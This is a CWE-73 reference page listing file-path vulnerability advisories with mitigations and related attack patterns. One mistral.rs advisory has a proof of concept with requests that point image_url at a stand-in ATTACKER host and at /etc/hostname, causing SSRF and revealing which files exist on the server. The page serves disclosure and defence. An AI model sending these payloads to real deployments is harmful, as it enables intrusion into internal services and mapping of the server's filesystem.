CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
1168 vulnerabilities reference this CWE, most recent first.
GHSA-W882-RF7Q-923G
Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-02-10 18:30External control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing locally.
{
"affected": [],
"aliases": [
"CVE-2026-21249"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-10T18:16:26Z",
"severity": "LOW"
},
"details": "External control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing locally.",
"id": "GHSA-w882-rf7q-923g",
"modified": "2026-02-10T18:30:41Z",
"published": "2026-02-10T18:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21249"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W9PX-XQR4-32J9
Vulnerability from github – Published: 2026-05-12 15:31 – Updated: 2026-05-12 15:31External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks.
{
"affected": [],
"aliases": [
"CVE-2026-8043"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T15:16:17Z",
"severity": "CRITICAL"
},
"details": "External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks.",
"id": "GHSA-w9px-xqr4-32j9",
"modified": "2026-05-12T15:31:41Z",
"published": "2026-05-12T15:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8043"
},
{
"type": "WEB",
"url": "https://hub.ivanti.com/s/article/Security-Advisory---Ivanti-Xtraction-CVE-2026-8043?language=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WC64-WMFM-46VW
Vulnerability from github – Published: 2025-09-05 21:32 – Updated: 2025-10-09 03:30A path traversal validation flaw exists in Keycloak’s vault key handling on Windows. The previous fix for CVE-2024-10492 did not account for the Windows file separator (). As a result, a high-privilege administrator could probe for the existence of files outside the expected realm context through crafted vault secret lookups. This is a platform-specific variant/incomplete fix of CVE-2024-10492.
{
"affected": [],
"aliases": [
"CVE-2025-10043"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-05T20:15:34Z",
"severity": "LOW"
},
"details": "A path traversal validation flaw exists in Keycloak\u2019s vault key handling on Windows. The previous fix for CVE-2024-10492 did not account for the Windows file separator (\\). As a result, a high-privilege administrator could probe for the existence of files outside the expected realm context through crafted vault secret lookups. This is a platform-specific variant/incomplete fix of CVE-2024-10492.",
"id": "GHSA-wc64-wmfm-46vw",
"modified": "2025-10-09T03:30:57Z",
"published": "2025-09-05T21:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10043"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:16399"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:16400"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-10043"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2393549"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WFGQ-W7CQ-QJ7J
Vulnerability from github – Published: 2026-09-10 21:54 – Updated: 2026-09-10 21:54Summary
mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a file:// URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI image_url / audio_url message content. The server is unauthenticated by default.
Details
parse_image_url in mistralrs-server-core/src/util.rs (lines 45-88) resolves the request string and fetches/opens it:
let url = if let Ok(url) = url::Url::parse(url_unparsed) {
url
} else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute)
url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
File::open(path).await ... read // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };
reqwest::get has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The file scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. parse_audio_url (line 91) is identical for audio_url.
The value reaches this unvalidated: mistralrs-server-core/src/chat_completion.rs calls parse_image_url(&url_unparsed) / parse_audio_url(&url_unparsed) on the chat message content, at request time.
For reference, vLLM gates outbound media domains (allowed_media_domains) and local paths (allowed_local_media_path); mistral.rs has neither.
Suggested fix
Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.
Proof of concept
On a default vision deployment, unauthenticated:
SSRF - the server fetches the attacker URL during request processing:
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.
Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):
existing file (opened and read, then fails to decode):
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/etc/hostname"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "The image format could not be determined"
nonexistent path:
POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/nonexistent"}},
{"type":"text","text":"hi"}]}],"max_tokens":1}
-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."
The difference is structural: parse_image_url (util.rs:48) takes the file branch only when File::open(url_unparsed) succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in image::load_from_memory (util.rs:87). The error response carries sanitize_error_message (util.rs:210), which returns the root-cause message, so both reach the client verbatim.
Impact
An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied file:// URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.
Availability (CVSS A:L): reqwest::get (util.rs:61) uses the default client, which has no timeout, and http_resp.bytes() (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The file branch allocates vec![0; metadata.len()] (util.rs:73) before reading, so pointing at a large local file does the same.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.17"
},
"package": {
"ecosystem": "crates.io",
"name": "mistralrs-server-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T21:54:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nmistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default.\n\n### Details\n`parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it:\n\n```rust\nlet url = if let Ok(url) = url::Url::parse(url_unparsed) {\n url\n} else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute)\n url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...\n} else { bail!(...) };\n\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check\n} else if url.scheme() == \"file\" {\n File::open(path).await ... read // arbitrary local file read\n} else if url.scheme() == \"data\" { ... base64 ... };\n```\n\n`reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`.\n\nThe value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(\u0026url_unparsed)` / `parse_audio_url(\u0026url_unparsed)` on the chat message content, at request time.\n\nFor reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither.\n\n### Suggested fix\nRestrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.\n\n### Proof of concept\nOn a default vision deployment, unauthenticated:\n\nSSRF - the server fetches the attacker URL during request processing:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"\u003cvlm\u003e\",\"messages\":[{\"role\":\"user\",\"content\":[\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"http://ATTACKER/probe\"}},\n {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n```\n\nAn out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed.\n\nArbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors):\n\nexisting file (opened and read, then fails to decode):\n\n```\nPOST /v1/chat/completions\n{\"model\":\"\u003cvlm\u003e\",\"messages\":[{\"role\":\"user\",\"content\":[\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"/etc/hostname\"}},\n {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-\u003e 500, response body message: \"The image format could not be determined\"\n```\n\nnonexistent path:\n\n```\nPOST /v1/chat/completions\n{\"model\":\"\u003cvlm\u003e\",\"messages\":[{\"role\":\"user\",\"content\":[\n {\"type\":\"image_url\",\"image_url\":{\"url\":\"/nonexistent\"}},\n {\"type\":\"text\",\"text\":\"hi\"}]}],\"max_tokens\":1}\n\n-\u003e 500, response body message: \"Invalid source \u0027/nonexistent\u0027: not a valid URL (http/https/data) and file not found on server. ...\"\n```\n\nThe difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with \"file not found on server\" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim.\n\n### Impact\nAn attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.\n\nAvailability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.",
"id": "GHSA-wfgq-w7cq-qj7j",
"modified": "2026-09-10T21:54:14Z",
"published": "2026-09-10T21:54:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-wfgq-w7cq-qj7j"
},
{
"type": "WEB",
"url": "https://github.com/EricLBuehler/mistral.rs/commit/74793379649febc758b6a0d4b71aa6aeabc80f9c"
},
{
"type": "PACKAGE",
"url": "https://github.com/EricLBuehler/mistral.rs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url"
}
GHSA-WFJJ-3HQ8-QWP2
Vulnerability from github – Published: 2024-01-10 18:30 – Updated: 2025-11-04 21:30An information disclosure vulnerability exists in the aVideoEncoder.json.php chunkFile path functionality of WWBN AVideo 11.6 and dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.
{
"affected": [],
"aliases": [
"CVE-2023-47171"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-10T16:15:47Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability exists in the aVideoEncoder.json.php chunkFile path functionality of WWBN AVideo 11.6 and dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.",
"id": "GHSA-wfjj-3hq8-qwp2",
"modified": "2025-11-04T21:30:59Z",
"published": "2024-01-10T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47171"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1869"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1869"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WFMX-7744-W3XF
Vulnerability from github – Published: 2026-08-27 06:31 – Updated: 2026-08-27 18:32The Workeera WordPress plugin before 1.0.6 does not restrict which values may be written to a user's own candidate profile, and does not validate or contain the stored file path before deleting it, allowing users with a role as low as subscriber to delete arbitrary files on the server.
{
"affected": [],
"aliases": [
"CVE-2026-77016"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T06:17:27Z",
"severity": "CRITICAL"
},
"details": "The Workeera WordPress plugin before 1.0.6 does not restrict which values may be written to a user\u0027s own candidate profile, and does not validate or contain the stored file path before deleting it, allowing users with a role as low as subscriber to delete arbitrary files on the server.",
"id": "GHSA-wfmx-7744-w3xf",
"modified": "2026-08-27T18:32:10Z",
"published": "2026-08-27T06:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77016"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/26f8c020-a5d0-4561-9802-c8c53b7755e4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WGFW-CPJM-64V6
Vulnerability from github – Published: 2024-01-10 18:30 – Updated: 2025-11-04 21:31An information disclosure vulnerability exists in the aVideoEncoderReceiveImage.json.php image upload functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.This vulnerability is triggered by the downloadURL_image parameter.
{
"affected": [],
"aliases": [
"CVE-2023-49864"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-10T16:15:49Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability exists in the aVideoEncoderReceiveImage.json.php image upload functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary file read.This vulnerability is triggered by the `downloadURL_image` parameter.",
"id": "GHSA-wgfw-cpjm-64v6",
"modified": "2025-11-04T21:31:02Z",
"published": "2024-01-10T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49864"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1880"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1880"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WGMV-5488-H5P5
Vulnerability from github – Published: 2025-01-31 12:33 – Updated: 2025-08-11 15:32The Drag and Drop Multiple File Upload – Contact Form 7 plugin for WordPress is vulnerable to limited arbitrary file deletion due to insufficient file path validation in the dnd_codedropz_upload_delete() function in all versions up to, and including, 1.3.8.5. This makes it possible for unauthenticated attackers to delete limited arbitrary files on the server. It is not possible to delete files like wp-config.php that would make RCE possible.
{
"affected": [],
"aliases": [
"CVE-2024-12267"
],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-31T11:15:09Z",
"severity": "MODERATE"
},
"details": "The Drag and Drop Multiple File Upload \u2013 Contact Form 7 plugin for WordPress is vulnerable to limited arbitrary file deletion due to insufficient file path validation in the dnd_codedropz_upload_delete() function in all versions up to, and including, 1.3.8.5. This makes it possible for unauthenticated attackers to delete limited arbitrary files on the server. It is not possible to delete files like wp-config.php that would make RCE possible.",
"id": "GHSA-wgmv-5488-h5p5",
"modified": "2025-08-11T15:32:22Z",
"published": "2025-01-31T12:33:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12267"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3231973/drag-and-drop-multiple-file-upload-contact-form-7/trunk/inc/dnd-upload-cf7.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/00ec7251-3be1-411a-b38e-1782d1691e18?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WHJP-VQW5-874C
Vulnerability from github – Published: 2023-10-23 15:30 – Updated: 2024-04-04 08:53Dell Unity 5.3 contain(s) an Arbitrary File Creation vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability by crafting arbitrary files through a request to the server.
{
"affected": [],
"aliases": [
"CVE-2023-43074"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-23T15:15:09Z",
"severity": "HIGH"
},
"details": "\nDell Unity 5.3 contain(s) an Arbitrary File Creation vulnerability. A remote unauthenticated attacker could potentially exploit this vulnerability by crafting arbitrary files through a request to the server.\n\n",
"id": "GHSA-whjp-vqw5-874c",
"modified": "2024-04-04T08:53:10Z",
"published": "2023-10-23T15:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43074"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000213152/dsa-2023-141-dell-unity-unity-vsa-and-unity-xt-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WJ3H-WX8G-X699
Vulnerability from github – Published: 2026-02-02 12:31 – Updated: 2026-02-02 22:03A vulnerability in h2oai/h2o-3 version 3.46.0.1 allows remote attackers to write arbitrary data to any file on the server. This is achieved by exploiting the /3/Parse endpoint to inject attacker-controlled data as the header of an empty file, which is then exported using the /3/Frames/framename/export endpoint. The impact of this vulnerability includes the potential for remote code execution and complete access to the system running h2o-3, as attackers can overwrite critical files such as private SSH keys or script files.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ai.h2o:h2o-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.46.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "h2o"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.46.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-5986"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T22:03:46Z",
"nvd_published_at": "2026-02-02T11:16:16Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in h2oai/h2o-3 version 3.46.0.1 allows remote attackers to write arbitrary data to any file on the server. This is achieved by exploiting the `/3/Parse` endpoint to inject attacker-controlled data as the header of an empty file, which is then exported using the `/3/Frames/framename/export` endpoint. The impact of this vulnerability includes the potential for remote code execution and complete access to the system running h2o-3, as attackers can overwrite critical files such as private SSH keys or script files.",
"id": "GHSA-wj3h-wx8g-x699",
"modified": "2026-02-02T22:03:46Z",
"published": "2026-02-02T12:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5986"
},
{
"type": "PACKAGE",
"url": "https://github.com/h2oai/h2o-3"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/64ff5319-6ac3-4447-87f7-b53495d4d5a3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "H2O has an External Control of File Name or Path vulnerability"
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.